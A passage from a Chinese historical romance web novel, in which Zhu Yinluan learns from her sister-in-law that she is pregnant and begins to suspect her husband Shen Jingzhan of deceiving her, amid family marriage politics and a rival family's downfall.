可沈蔻玉还没嫁呢,若非沈家在京城有几分势力,不知有多少人要说她不好,也得亏她心大,旁人说什么都不放在心上,可沈老太太和沈夫人着急。 旁观者急,当事人却事不关己。 沈蔻玉也是帮她说话才被训了,祝吟鸾刚要给沈老太太夹菜,借此转移话茬,姚姿却先一步出来周全,说沈蔻玉得慢慢挑呢,倒也不怕什么。 她先给沈老太太夹了菜,祝吟鸾便没有动了。 “这丫头就是被家里人给惯坏了,如今越来越无法无天。”说到这沈老太太又讲起沈蔻玉贸然离家的事情,“不知道她哪里来的这么大胆子,也不怕出事。” 沈蔻玉全程不说话了,姚姿接着沈老太太的茬,夸沈蔻玉是在老太太跟前耳濡目染养出慈心来了,琉州出事,她心系 灾情,这才在京城家中坐不住。 “她哪里是慈心善心,分明就是调皮顽劣。”沈老太太心里受用,面上却还在训斥沈蔻玉不听家里的话,时常气人。 可说着说着,祝吟鸾猜测,姚姿估计自己都没有想到沈老太太忽而把话茬转到她的身上。 问她也到了适婚的年岁,沈蔻玉已然在相看了,她的母亲有没有帮她物色人选了? 姚姿的确意外,面上差点挂不住,但也不过是一瞬间便恢复如常。 “母…母亲已经在帮我挑选了。” 祝吟鸾留意着姚姿的一系列反应,心里有了数,这姚姿应当是倾慕沈景湛的。 抛开先前方种月说过,陛下忌惮重臣联姻之外,姚姿和沈景湛之间……估计是落花有意,流水无情。 沈景湛心里惦记着他那早嫁的意中人。 倒是可惜了姚姿。 “你什么都好,要叫你母亲仔细挑选挑选,届时选定了人和吉日,派人提前告知我,你这孩子往前时常来我跟前孝顺,如今嫁出去了,我也想给你备份嫁妆。” 姚姿心里苦涩,沈老太太怎么会不知道她对沈景湛的心思? 她原以为在沈老太太跟前多亲近亲近,讨好了沈家长辈,便能够叫她和沈景湛之间有所转机,可没想到今日上门,竟叫沈老太太发话,彻底断绝她的念想。 姚姿奋力压下心里的异样,维持着笑颜道好,“多谢您疼惜。” 沈老太太笑了,“吃菜吃菜。” 用过午膳,沈蔻玉送姚姿出去,祝吟鸾伺候沈老太太午睡。 “你看出姚家那姑娘对听澜的心思了吧?”沈老太太单手倚着软枕问祝吟鸾。 “孙媳不敢胡说。”即便是看出来了,祝吟鸾说话依然有所保留。 虽然如此,沈老太太对于她的谨慎小心却不生气。 跟她说起这些年沈家和姚家的纠葛。 姚太尉曾任太子老师,后来经过时.政.变迁便挪任了太尉一职,他也教导过沈景湛几年。 听到后面这句话,祝吟鸾心想,太尉既然教过太子,再教导沈景湛,敢拜在太师门下,沈家人不怕被弹劾?但她没有开口打断沈老太太的话。 姚姿倾慕沈景湛,时常往来沈家。 但沈侯爷做事谨慎,即便姚太尉透过意思,但也无意跟姚家结亲,更别提沈景湛心中有人,根本就不喜欢姚姿了。 说到沈景湛心中有人的时候,沈老太太看了祝吟鸾一眼。 感受到沈老太太的目光,祝吟鸾目不斜视。 沈老太太接着说,在她还没有嫁进来之前,沈景湛便已经到韵梅堂说了他对姚姿无意,不要叫她总过沈家来,免得旁人误会。 得知他的意思,沈老太太自然是照办了,便让姚姿少来。 后来沈景湛娶亲,闹出殿试泄题案的事情。 言及此,沈老太太问祝吟鸾,可知道这些时日朝廷的动荡? 祝吟鸾摇头,“只听闻一些表面,具体内情孙媳并不知晓。” 她一个后宅妇人,过好日子就够了,何必要去打探朝廷的事情? “殿试泄题一案牵扯颇深,我只与你说一句,太尉大人并不无辜。” 闻此语,祝吟鸾心里一咯噔。 太尉大人并不无辜?那姚家岂不是…… 前面只听说泄题一案这件事情牵扯到了太尉,可她没深想具体是个怎么样的牵扯法? 难不成是太尉泄出去的题目? “日后你少接姚家人的帖子,玉儿那边也多加劝管,让她少与姚姿过分往来。” 祝吟鸾听出沈老太太的言外之意,姚姿今儿因为姻缘的事情被打发断绝了心思,若是之后她再来,恐怕就是为了家里的事情了。 沈老太太不接见,沈夫人又不是糊涂人自然会找理由推脱,那……姚姿要找的人自然是沈蔻玉。 如今为着嫁人的事情,沈蔻玉和家里闹得不愉悦,沈老太太直接跟她说,很有可能会激起她的反骨。 所以,来找她交托给沈蔻玉。 祝吟鸾点头,“孙媳知道了,定然会劝告小姑。” “嗯。”沈老太太轻声。 但没一会,沈老太太又跟祝吟鸾道,“前些时日太医拟了一个助孕的药膳,你带回去交给院里的小厨房,让她们做了给你吃,但……不要让听澜知道。” 原本想让祝吟鸾直接吃助孕的方子,可是药三分毒,若是叫沈景湛知道了,指不定要杀到韵梅堂来,干脆迂回婉转些。 祝吟鸾应了一声是,又道,“吃药膳的事情恐怕瞒不住夫君。” 沈景湛日日都回来陪她用膳的,他会吃不出来吗? “你想着法子跟他说,是强身健体的药膳糊弄一二便是了。”沈老太太不满。 祝吟鸾也只能点头,“孙媳知道了。” 沈老太太以为她不情愿,直言道,“若是今年翻过年关,你还是没有身子,那我便要给听澜收人伺候了。” 祝吟鸾低眉顺眼,“是…” 届时真闹到这个份上,她和沈景湛的姻缘… 祝吟鸾倒是相信沈景湛不会收,她只怕当初跟沈景湛立的“盟约”被沈家人知道了要闹。 毕竟上面说了,若是他纳小房,便叫他罢官削爵。 思及此,祝吟鸾的心里怎么都放不下来。 日子看着平和,还是有不少事情在其中横着。 祝吟鸾从韵梅堂出来的时候,沈蔻玉在外面等候。 她说她早就将姚姿给送出去了,不想进韵梅堂就是怕沈老太太念叨。 “嫂嫂,你到底有没有帮我跟兄长说啊?”她实在担心。 祝吟鸾回,“我说了,但夫君他……” 两人走到游廊下,沈蔻玉心情不好,她不走了,就在这地方坐下,抓了旁边的鱼食砸撒到水里。 祝吟鸾在旁边陪着她,看着她“撒”气。 很快鱼食就没有了,明芽带着人去拿。 人走之后,沈蔻玉忽而道,“嫂嫂,你与我说句实话,哥哥是不是让你别管我的事?” 祝吟鸾,“……” 沈夫人和沈老太太还总说沈蔻玉直肠子做事冲动不顾后果。 在她看来,沈蔻玉其实很通透。 总归是沈景湛的嫡亲妹妹,再笨能笨到哪里去? 更别提,她一个姑娘家能孤身去琉州,又从那地方毫发无伤的回来。 即便后面有沈家人前去接应,也足以说明她的厉害。 “嫂嫂你不必担心说了实话,我会生气,我们在一处也有些时日了,我是什么样的性子,嫂嫂你应该也清楚了吧?” 祝吟鸾一共接触过三个小姑,沈蔻玉的性子要比卫明烟更鲜活,她的确不是小气的人。 “…夫君的确说让我不用管。” 可她没想到,刚说完,沈蔻玉便愤愤转过来,“好啊!哥哥居然真的这么跟嫂嫂说!嫂嫂你竟然真的不管我了!” 被少女叉腰瞪眼看着,祝吟鸾,“……” 这两兄妹噎人的本事,还真是…… 她给沈蔻玉赔了一个笑,“这件事情是我不好,但……” 祝吟鸾也不跟她绕弯子,“我的出身小姑也很清楚,我无娘家人帮衬,不想得罪沈家的亲长…” “婆母和祖母一再让我劝你嫁人,我要是帮了你,便是违背祖母和婆母,要是帮了婆母和祖母,又辜负了你待我的情谊,所以只能这样两边敷衍着…” 沈蔻玉听罢,整个人又蔫下去了。 她看着廊下池中争夺食物的鱼儿们,发愁道她不想嫁人。 祝吟鸾好奇问她为何不想嫁人? “因为我还有很多事情要做。”沈蔻玉看着远处的池堤。 “什么事?”祝吟鸾问她。 “嫂嫂,你幼年喜欢读书吗?”沈蔻玉反问。 “喜欢,但嫡母苛责,经常不给月钱,我所看的书多是明芽去外面摊上买的次书,有一些还是残缺不全的。” 祝吟鸾语调平和淡淡。 沈蔻玉听她平静叙述幼年似乎不怎么好过的闺中岁月,她的脸上没有怨怼,没有愤恨,就是很温和。 祝吟鸾察觉到她的目光随之看过去。 沈蔻 玉清咳一声,“那嫂嫂看的都是些什么书?” “什么都看,主要是明芽买到什么,我就看什么。” 沈蔻玉哦了一声,她告诉祝吟鸾,她喜欢看逸闻书,在书上看过很多女侠,见她们行侠仗义,执剑江湖,十分欢喜。 说到这,沈蔻玉还十分兴奋的比划了两下,“所以我很早之前便想做救死扶伤,扫荡世间不平之事的女侠。” 祝吟鸾忍不住笑,也对她表示赞许,“我听夫君说,小姑这次下琉州,也做了很多好事,帮了不少忙。” 但因为沈蔻玉是个姑娘家,又生在高门侯府,她贸然去琉州的事情绝对不能往外说,一来怕败了她的名声,二来也是怕世家借此弹劾。 听沈景湛说,沈蔻玉做的那些好事,许多人都不知道是她做的,因为她给自己取了一个代号,又戴着面具,谁都不知道她是京城高门的世家小姐,或许只以为她是某镖局的女儿。 “只可惜,不能继续了。”沈蔻玉的语气低落下来。 “嫂嫂你真的不能帮我跟哥哥说一说,让他替我回绝了家中人吗?” “此事若成,我定然永远铭记嫂嫂的恩情。” 祝吟鸾叹气,“若不然……小姑自己去跟夫君说?” “哥哥才不会帮我。” 祝吟鸾却道未必。 沈蔻玉看向她。 “我听沈家的下人说,小姑自幼能习武看话本禁.书,这其中少不了夫君的纵容,似乎是夫君说动了婆母和公爹,才让小姑习武的?” “平心而论,夫君待小姑还是宠容的,若小姑跟夫君好生陈情,我觉得夫君或许会帮忙……” 当初沈景湛不是说了吗?若是在沈家有应付不了的事情,只一味甩给他就是了。 祝吟鸾不动声色“苦口婆心”为沈蔻玉出谋划策。 听完,沈蔻玉果然动容了。 她在思考,祝吟鸾也不打扰,就在她的旁边默默喂鱼。 须臾之后,沈蔻玉咬牙一锤定音道,“好,那我就去求哥哥!” “实在不行,我跪在地上求他!” 看着沈蔻玉视死如归的神情。 祝吟鸾,“……” 提了主意之后,沈蔻玉倒也不求她了,转而跟她说起方才送姚姿出去的事情。 祝吟鸾正想跟她说这件事情呢,但没有打断,静静听着沈蔻玉说话。 可当听到沈蔻玉给太尉夫人拟了一个方子之后。 祝吟鸾诧异,“小姑,你会医术?” “会啊。”沈蔻玉吐露之后左右看了看,“嫂嫂你可不要往外说,这件事情家里人不知道。” 小丫鬟们被赶到不远处,两人说话确保听不到,沈蔻玉才直接说出来。 祝吟鸾心想,沈蔻玉敢给太尉夫人拟方子,或许真的会医术? 或许她可以让沈蔻玉给她把把脉呢? 祝吟鸾并没有忘记,之前来给她把脉的太医说的措辞,与在卫家说的措辞差不离的那一件事。 后面太医是经过了打点,可当时她在卫家,沈景湛又不知道她,必然是不能打点。 两次把脉的措辞都相同,这其中说不通的。 当时她只觉得诧异,奇怪,但无从寻起这怪异之处哪里不对? “嫂嫂你不相信?”见祝吟鸾一脸沉思,沈蔻玉道她偷偷拜的师傅,可是太医院曾经最德高望重的院首,致仕多年也没人比得过他的医术。 “果真?”祝吟鸾追问。 “果真!”沈蔻玉点头。 “那小姑可否替我把把脉?”祝吟鸾顺势找了一个借口,说方才沈老太太又提起子嗣的事情,看看能不能抓方吃吃助孕的药呢? 沈蔻玉道没问题,拍拍手挨过来靠着祝吟鸾,挽着她的手拉过去,背对着小丫鬟们给她把起脉来。 祝吟鸾本来还好,可看到沈蔻玉的脸色变了。 松开她的手腕之后又重新坐直身子认真给她把脉。 连忙问,“怎么了?” 莫不是沈蔻玉知道把出来她的身子骨不容易受孕,亦或者不能有孕的事情了吗? 祝吟鸾在心里乱糟糟想着,又觉得她自己太操之过急莽撞了,沈蔻玉到底是沈家人啊,万一传到沈夫人和沈老太太耳朵里,那可怎么办? 她已经在心里做了最坏的打算,倘若真是这样,怎么做才能让沈蔻玉答应为她守口如瓶。 可她没想到,沈蔻玉会说,“嫂嫂,你…你怀孕了。” 第58章 第58章他骗她生孩子? 空气有一瞬间几乎是静默到了极致。 这个消息简直无异于晴天霹雳,把祝吟鸾劈得呆若木鸡。 她甚至以为自己出现了幻听,“你……你在说什么?!” 怎么可能? 她怎么可能会有身孕呢?她不是难以受孕的吗? “你是不是……把错脉了?”祝吟鸾意识到方才她的声音太大了,连忙压下声量,问沈蔻玉。 “嫂嫂,这简单的喜脉我不可能把不出来的。” 祝吟鸾看着她的脸,还是无法相信,她的肚子里有了沈景湛的骨肉? 到底哪里不对劲,究竟什么地方出了差错。 沈蔻玉不知道她心中所想,也是觉得奇怪,“嫂嫂有身孕不是值得开心的事情吗?为什么嫂嫂好像……” 很惶恐很震惊的模样?难道她和哥哥成亲就没有想过要孩子? 祝吟鸾回神,忙打断沈蔻玉的思绪,尴尬笑着说,“我、我是太意外了,你…你也知道我先前嫁入卫家四年都没有身孕,原本一直在吃助孕的药方子,但……似乎没有用,怎么一到沈家……” 这才多久啊,他居然就有身孕了吗? 难道是因为沈景湛的身子骨太强悍了吗?但未免也太快了。 沈蔻玉笑,“卫如琢那厮怎么配跟我哥哥比较!这男女有孕之事可不能只看女眷的身子骨,说到卫家……” 沈蔻玉压低声音,“嫂嫂你还不知道吧,卫家近来日子可不好过了。” “什么?”祝吟鸾还没从有孕的事情当中回神,沈蔻玉又给她丢了一记惊雷。 说卫如琢在晋选礼部尚书的前夕被人弹劾了。 “弹劾卫如琢什么?”祝吟鸾追问。 “罪名很多。” 沈蔻玉掰着手指头数,“卫家亲眷收受贿赂,数额庞大高达数万两,他在礼部弄.权,欺上瞒下.干.涉四司用人,这其中还牵扯到了人命案。” “人命案?”祝吟鸾大惊失色。 “是啊,具体的内情我不清楚,我是听奉安公主来信说起的,似乎是…因为礼部的什么案子被翻出来了,这件事情牵扯到了尚书大人?” “卫如琢为了讨好尚书大人,自作主张处理了这桩案子,总之投诉状的人死了,死在枯井里,人已经送到了大理寺。” 祝吟鸾听完沉思不语,“……”如果她没有记错的话,卫如琢不是已经得了尚书大人的青眼了吗? 前些时日听到卫家的消息还是在沈蔻玉初初返家之时,那会是二房夫人提起家蒸蒸日.上,已经挤入京城高门世家的眼帘当中,成为谈资。 这才过了多久啊,今日得知姚家有可能会出事,没想到,卫家竟然已经出事了吗? “后来呢。”她又问。 “陛下最痛恨贪官污吏,前头殿试泄题案还没彻底解决呢,又出了这一档子事情,陛下自然是震怒不已了,这一次,卫家恐怕是再难翻身咯。” “嫂嫂你说是不是大快人心?”沈蔻玉笑。 祝吟鸾好半天后点头,“…嗯,是……” 她恨卫如琢,恨庞氏,如今卫家出事,她自然觉得心里痛快。 再有一则,卫如琢出事,那长姐就不可能嫁给他了吧。 父亲和母亲如此趋炎附势,卫家出事,定然会以最快的速度撇清楚两家的干系,绝不可能再跟卫家做亲家。 卫家和祝家的事情都与她无关了。 可眼下,她的事情才是最棘手的,她的肚子,怎么会有孩子呢? 先前那四年她 一直盼着自己有身孕,现如今不想要,但却有了,这算不算是造化弄人? 可她还是想不明白,她怎会有身孕。 明明是难以受孕的啊? 祝吟鸾这时候回想起来她找沈蔻玉把脉的初衷,忙问她,“小姑,你能不能再给我把把脉,看看我的身子骨是否难以生养?” 沈蔻玉还没摸她的脉相便已经道,“嫂嫂你的身子骨是极易生养。” “你若是不信,我再给你把一次脉。”她又搭上了祝吟鸾的脉相,告诉她,她的身子骨究竟如何。 不仅如此,她还能准确说出祝吟鸾上一次来月信的时日,更细则的,譬如她癸水颜色……都讲得准确无误。 看着她的脸色说出她往日里哪里会疼会难受。 祝吟鸾原本还在质疑她的医术,现在不得不相信了。 她陷入沉思,所以一开始那个太医在卫家说的话就是正确的,她的身子骨没有任何问题,的确是容易受孕的。 可后来……在沈家的时候太医也还是这么说。 分明是一个太医啊! 既然是真的,沈景湛怎么跟她说,他打点过太医呢? 而且后来他跟她行房,怎么也不顾及? 那时候太医没有告诉他,她的身子骨容易受孕吗? 沈景湛究竟知不知道? 若是知道,那他就是故意这么做了? 祝吟鸾在心里乱糟糟想着,沈景湛会不会骗她?他的目的就是要让她有孕吗? 沈蔻玉不知道祝吟鸾在想些什么,只让她保密,不要叫沈景湛和沈夫人,以及沈老太太知道,她会医术这件事情。 否则家里又开始吵,又要开始闹了,担心出岔子。 祝吟鸾颔首,“我知道了。”她答应会为沈蔻玉保密,不会让任何人知道她会医术。 说话间,沈夫人回来了,叫两人过去院里说话,在那边用晚膳,还说沈景湛和沈侯爷也快要回来了,一家子在一处吃。 沈蔻玉知道沈夫人又要念叨她,让她去挑人,装病头疼,让小丫鬟去回话,说她不能够过去了,也请祝吟鸾帮着她推脱几句。 祝吟鸾只能道好。 沈景湛今日回来要比往日更慢一些,说是朝堂上面有事。 他问她今日都做了些什么,在家中闷不闷? 看着男人温润如玉的眉眼,祝吟鸾又莫名其妙想到那个梦境,梦里男人的身形轮廓以及沈景湛的身形轮廓,在她心中眼前进行对比。 还是好像……好像的…… 沈蔻玉说沈景湛凶戾,只是不会在她的面前展露出来。 所以她从未见过沈景湛的这一副面孔。 若是沈景湛展露出来,会不会就和她梦里的男人一模一样了? 沈景湛会在她面前伪装,会骗她吗? 她不敢想,若是沈景湛真的骗她,那……会是什么样子。 她现如今最相信的人除了明芽和姣惠,便是沈景湛了。 若是沈景湛虚伪,跟她所认识的沈景湛并不一样,她会怎么样? 祝吟鸾心乱如麻,用膳的速度不只是慢,还心不在焉。 “怎么了?”就连沈夫人都发现了她的心神不宁。 祝吟鸾连忙扯出一抹笑,道没什么,只是在想一些事情。 “是不是今日太累了?”沈景湛给她夹菜,挡回了沈夫人的逼问。 沈夫人到了嘴边的不满,看到自家儿子如此细心关怀祝家女,只能噎了下去。 “没…没事。”祝吟鸾避开他的目光,但又很快意识到,这是在沈夫人和沈侯爷的面前,两人是要做戏的。 不能够让沈侯爷和沈夫人看出她和沈景湛之间出了问题,所以她扬起脸朝着沈景湛笑了一下,感谢他为她夹菜。 用过晚膳之后,沈夫人给祝吟鸾送了一些补品,说了一些场面话,让她好生注意休息。 沈夫人虽然不喜欢她这个儿媳妇,但无论是面子里子都做得相当不错。 回院子的路上,两人慢慢散步,小丫鬟们跟在后面,沈景湛问她怎么了,是不是有什么心事? 让他没想到的是,祝吟鸾会说,“我只是在想,夫君这样完美无缺的人,会不会有什么弱点?” 沈景湛脚步微顿,朝着她看过去。“什么?” 不知道沈景湛有没有听清楚,但她不经意之间吐露的心声,无论如何都说不出来第二遍了。 她想要自己捋清思绪,但眼前似乎迷雾重重的感觉。 眼下的时日过得安静平和,她都不知道她到底是怎么了?总觉得平和安静之下隐藏着无尽的风暴。 莫不是因为怀有身孕,所以……才疑神疑鬼吗? 但就是有很多东西说不上来啊。 她眼下能诉说的人竟然只有沈景湛了,偏偏令她觉得奇怪的人就是他。 所以,她不能跟沈景湛说了。 “我当然也有弱点。”他听清了,回了她的话。 “只是……为何鸾儿忽然这样问?”他笑着跟她说话。 “我……”祝吟鸾忍不住紧张,“我只是觉得夫君太过于完美无缺了。” 沈景湛会不会猜到她在想什么了?她没有忘记沈景湛洞察人心的本事相当厉害。 现如今不能够让沈景湛发觉她的那个梦。 她后悔吐露心声,又忍不住在想,应该怎么样不动声色把话茬给转移走? “看来鸾儿还是不太了解我。”他又笑了一下,走的速度更慢了一些。 祝吟鸾很快便想到了一个借口,“之前夫君不是让我留意你的喜好和厌恶吗?” “我观察了一些时日,还寻夫君身边的人问了,大家都说夫君很好,待人接物很好……” 她已经找不出什么词来形容了。 “是吗?”沈景湛漫不经心的一句。 就是这么短短一句,祝吟鸾觉得他有可能留意到什么了,忍不住心慌。 “是……”她根本就没有寻人问。 沈景湛如果找人过问,便知道她根本没有问过。 他有可能已经留意到了,但是他没有戳穿她。 “我还是有很多弱点和缺陷的,旁人或许看不出来,鸾儿要想得知,还要再多加留意些,亦或者鸾儿想要我直接告诉你吗?” 祝吟鸾心跳了一下,她巧妙转了话茬,“夫君觉得自己有什么弱点和缺陷?” 沈景湛笑,“鸾儿还是要让我告知你了?” 祝吟鸾面色展露出略微的不自然,很快又调整好了。 “…若是夫君不想说也可以不说的。” 她和沈景湛不知不觉走到了水榭里面,两人相对着坐下。 小丫鬟们上了茶水和糕点。 沈家四处都挂着琉璃灯,灯笼的效用基本不大,但跟琉璃灯相互映衬,照出不一样的美来。 沈景湛回来之后,两人说话,小丫鬟们全都会默默退到亭外去,不打搅两人相处。 祝吟鸾端着茶盏,看着小熏炉里升起的氤氲丝缕,她的脑海当中又勾出一些回忆,两股回忆在她的脑海当中重合了。 她想起来曾经…似乎在沈景湛的身上闻到一股香。 淡淡的幽微,那时候她想不起来沈景湛身上的香跟什么相似,现在看着这个熏炉,忽而想起来,似乎跟内室置放的熏香炉差不多。 又想起来沈景湛在熏炉旁边站过,是沾染了熏香炉里面的味道吗? 除此之外,她想不到旁的了。 或许是吧。 听说高门世家都很讲究焚香点茶,他应该也不例外。 “鸾儿想要知道,并没有什么不能说的。”沈景湛告诉她,他的脾性其实不太好。 “啊?”祝吟鸾愣住。 她的注意力被转移走了根本就没有想到对面的男人在给她下套。 沈景湛虽然不知道她心里具体是怎么想的,但既然出现了“猫腻”,那就要主动挑明,免得她觉得他回避,然后有鬼,引发她更深层的怀疑。 “很难想象吗?”沈景湛把糕点往她的面前推,说是他从宫里带出来的,她的晚膳没有用多少,让她吃一些。 祝吟鸾没有抗拒沈景湛的关怀好意,伸手拿了一块糕点。 在她吃的时候,沈景湛跟她说他的脾性。 说早些年要学的东西实在太多太杂,沈侯爷和沈夫人又对他寄予厚望,他不能辜负,便只能够加倍努力,有时候学得很烦,在没人的时候也砸过笔墨,甚至还 想把策论给撕了。 “这怎么算是脾性不好呢?”祝吟鸾说不算。 “鸾儿问过底下伺候的人,应该也很清楚,我往日里不怎么好说话吧?” 祝吟鸾没问过,想了想,眼下打算顺着他的话点头,“嗯……” 在没有嫁给沈景湛之前,明芽的确这么说过,说沈景湛清冷?还有他的小妹沈蔻玉也说过。 “我的确不太近人情。” “那你不太近人情,怎么偏偏近我?”说完,她觉得太暧昧,改了话,“为何对我比较好?” “我们第一次见面,你对我友善,后面还送给我需要的龙涎香,再后来……很多次你也一直帮我。” 不是很多次,几乎是次次见面都帮她。 “若非要问为什么……”男人的指骨敲打着桌沿,他的眼帘微微垂了下去,祝吟鸾看不到他眼底的情绪了。 根本不知道他心里在想。 自然是要跟她亲近,拉近两人之间的关系,放松她的警惕,趁虚而入。 男人的嘴上说他也不知道。 “不知道?”祝吟鸾意外。 “嗯。”沈景湛道。 好一会他又补了一句,“只是看着当时的鸾儿孤弱,似乎很艰难,便想帮一帮。” “仅此而已。” “到了后来,娶鸾儿,也是…想要帮你,但怕你不愿意,便迂回婉转了些。” 他说“实话”。 面对男人的这一句,祝吟鸾也找不到话回。 沉默了一会,她觉得不对,原本是想要试探沈景湛的口风消息,可怎么无端之下就变成了叙旧? 是啊,叙旧。 甚至在叙旧期间,她发现她又开始觉得内疚了,沈景湛对她那么好,帮她那么多,她怎么会觉得他骗她?认为他不安好心? 都说天下熙熙皆为利来,她的身上有什么是沈景湛可图谋的?根本就没有吧。 祝吟鸾胡思乱想的期间,视线下垂,落到她的小腹上。 沈景湛骗她生孩子算不算? 若是他早就从太医那边得知她很容易受孕,还哄着她行房,往日里停留那么深,久久不走,那怎么不算是骗着她生孩子呢? 是啊,越是回想,祝吟鸾越觉得很多东西都对上了。 譬如沈景湛在房事之上所用的姿势,长久的停留,很多就是助孕的位置…… 她在卫家的时候就一直留意,不可能会察觉错的。 在床榻之上,沈景湛很多次跟她翻来覆去的贯.穿深.入都是……帮忙怀孕的。 他攥着她的腰身,带着她起来,还在她的腰后塞过被褥。 她整个人被他垫得很高… 影响最深的,还是沈景湛久久的停留,那时候她就在想,若是她能怀孕,只怕早就怀上了。 没想到,一语中的。 回想那些细节,她只觉得细思极恐。 事关这件事情,她还是没想好要跟沈景湛说,更重要的是,今日她一直跟沈蔻玉在一处,若是说了只怕要怀疑到沈蔻玉的头上,她不能出卖沈蔻玉。 “抱歉,今日是我心神不宁,我也不知道我是怎么了,或许还是受前些时日的梦魇影响吧。” 她捏着眉心,眉眼低垂,眼珠子一转,想到一个主意。 趁机跟沈景湛说,“夫君,你还是给我找个太医看看吧,这样下去,我也害怕再梦魇。” 她不能直接去找郎中来看她的身子,万一沈景湛起疑了呢? 反正沈景湛前些时日也说了,她的身子骨不舒服,找太医来看看。 太医来了,就知道她的身孕了。 她在沈家,身孕迟早瞒不住,通过太医让沈景湛知道她的身孕,看看他怎么解释。 “好,鸾儿愿意看太医这就是最好的。”他说明日他会告假在家陪她。 “朝廷的事情不是很忙吗,你怎么还有空在家?” 祝吟鸾的话脱口而出,说完之后她方才意识到,她的反应似乎有些太急了,连她自己都感觉好像在把沈景湛往外推,不希望沈景湛在家。 虽然她的确不希望沈景湛明日在家,只是想先看了太医,等他回来再告知他。 可眼下的话不能这样说啊。 男人抬眼看着她。 祝吟鸾接收到他的目光,被他看得有那么一些心虚,微微挪开了视线,解释道, “不是……我的意思是,不用特意告假,我本来也没什么大事,只是心神不宁而已。” “你……”你不用在家几个字,被她换成了不希望他太累了。 可这句话说完,祝吟鸾觉得她自己言行相悖了。 沈景湛在家不是才能休息吗? 她让他不要告假,跟她说的不希望他太累简直就是……乱七八糟。 说来说去,她自己都快要被绕进去了,祝吟鸾觉得她还是不要开口了,多说多错,干脆就沉默下来。 沈景湛看了她好一会,她都不敢回看过去。 好一会,沈景湛问她是不是知道了什么? 祝吟鸾猛然攥紧了杯盏,“……嗯?” 沈景湛将她的反应尽收眼底,眉心微动,“……” “夫君在说什么?我不清楚。” 他怎么突然这样问,是在诈她的话吗? 难不成,他的确是故意骗她生孩子的? 就算……就算这件事情是真的,沈景湛到底为什么要骗她生孩子啊? 他的身份地位,骗什么人不行? 多的是人想要给他生孩子,他找谁不行?偏偏骗她?她有什么好? 就连今日上门的姚姿,那可是太尉之女,她都想要嫁给沈景湛,沈景湛为何不骗别人? 祝吟鸾想不通,她觉得自己走进了死胡同。 “真的吗?”沈景湛的话含糊。 接下来的这句话才叫祝吟鸾意外,因为沈景湛说,“难道不是因为得知了卫家的事情?” 他提到了卫家。 对于这一点祝吟鸾无法隐藏,干脆点头了,“嗯,卫家的事情我是知道了。” “所以…得知卫如琢出事,鸾儿担心他了吗?” 嗯? 她担心卫如琢? 祝吟鸾神情浮现不解,眉头紧皱,没有男人话里所谓的担心,只有厌恶。 见状,他的眉目微缓。 “我没有担心他,你怎么会这样认为?” 沈景湛这句话问得好像是吃醋了一般。 吃醋? 祝吟鸾觉得她自己这样的想法更是诡异。 “除此之外,我想不到鸾儿的心神不宁是为何了。” “我都说了,只是因为那个梦,我梦到了一些不好的事情。” “是什么样的梦?”沈景湛问。 祝吟鸾抿唇,她说是过去的事情,在祝家的时候过得不太好,梦到小娘去世,梦到她弥留之际。 “原是这样,我不该揭鸾儿伤疤。” 祝吟鸾摇头,害怕沈景湛又接着追问,她连忙转移了话茬,问起祝家的事。 原本是想问卫家,但又怕沈景湛觉得她记挂牵扯,总归不是太好。 “祝家和卫家原是要议亲的,先前已经过了定礼,但如今卫家送到祝家的礼,全都被祝家给退了过去,闹得很不好看。” 祝吟鸾听罢,点头。 嫡母和父亲的做派,她一直都很清楚,说好 听点趋利避害,说难听点趋炎附势。 上一次长姐攀附骆家高嫁,卫家的人还不清楚,卫如琢以为长姐是被骆暄看上了才不得不嫁过去,庞氏还说她抢了长姐的姻缘,说她命好。 卫家之所以这么认为,多数也是因为嫡母和父亲做的面子功夫,说心疼她是家里最小的,要多多疼惜她,才把她嫁到卫家。 现如今……也该让卫家的看清楚祝家的真面目了吧。 祝吟鸾心里想着,不防备沈景湛又道, “鸾儿真的不想问问卫如琢吗?” 第59章 第59章鸾儿对我没有一丝男女情意吗…… 祝吟鸾一头雾水,“我单独问他做什么?” 适才的确是是想要问,但转念想想,卫家的消息,她都差不离从沈蔻玉那边知道了。 沈蔻玉都说了卫家这一次恐怕是再难翻身,那卫家定然是官司不断,不死都要脱层皮吧? 卫家根本没有什么旁支嫡系能够帮忙,不敬而远之,亦或者踩你一脚都算是仁至义尽了。 当初卫如琢攀升,多少卫家的旁系看不惯他,先前得罪尚书大人,不就是卫家旁系惹的祸? 多想无益,她如今已然跟卫家没有任何的关系,不必要追着过问细则。 更何况还是当着沈景湛的面。 沈景湛是她再嫁的夫郎,那卫如琢是她的前夫,当着后夫家过分追问前夫家的事情,恐怕 等等。 这么想下来,越发不像是错觉,沈景湛说这句话的时候,就好似真的吃味了一般。 思及此,祝吟鸾忍不住再朝着沈景湛投去了视线。 男人俊逸的容色淡淡,在月色的照耀之下,映出绝色的光华,看不出来究竟有没有吃味,只叫人觉得他俊逸。 看着他的神色应当是没有,可他又问得人奇怪。 她做不到如同沈景湛那一般直接问他是不是吃味了? 所以干脆保持了沉默,没有开口。 可她没有说话,沈景湛却在这时候对上她的视线。 开口道,“实不相瞒,我还以为鸾儿的心神不宁是因为得知了卫家出事的消息,担心卫如琢所以食不下咽,神思倦怠。” 祝吟鸾,“” 适才他都已经问过了一遍,她也解释说并非如此,只是因为梦魇,可沈景湛如今还是这样讲,摆明了是不相信了。 祝吟鸾不得不道,“他出事我自然是欣喜,哪里会担心?”还担心得食不下咽,神思倦怠? 她又不是圣人,卫家的人那么对她,已经算是将她扫地出门,将她逼入绝境,令她在京城毫无立足之地。 她怎么可能担心卫如琢出事,真的盼着卫如琢好,盼着卫如琢步步高升? 况且,卫如琢这么步步高升,将来要是越过了沈家,越过了沈景湛,转过头对付她怎么办?虽然这并不可能,卫如琢就算是升,家底也是单薄,比不过沈家树大根深,但凡事总要做各种打算啊。 她可没有忘记离开卫家之时,卫如琢那高高在上,咬牙切齿的模样,恨不得要将她给生吞活剥了。 就算是再见面,也不可能和和气气,只会是狭路相逢。 “我就算是担心,也是担心你,怎么可能去担心卫如琢,我厌恶他都来不及。” 单是用利害关系来分析一二,沈景湛怎么就拎不明白呢?还一直问她。 男人勾唇笑,“是我误会多嘴了,鸾儿不要生气?”他朝着她倒了一盏茶,还仿佛讨好似地给她拿了两块糕点。 看着男人脸上的笑容,祝吟鸾原本吃不下了,但还是伸手将他给的糕点接了过来。 在吃的时候,回想这件事情,她依然觉得沈景湛不对劲。 “小妹有没有跟鸾儿说是谁弹劾的卫家?” 祝吟鸾摇头,随口问,“是谁弹劾的?” “鸾儿不怀疑是我做的吗?”他饶有兴致,“亦或者我找人做的?” “不会。” 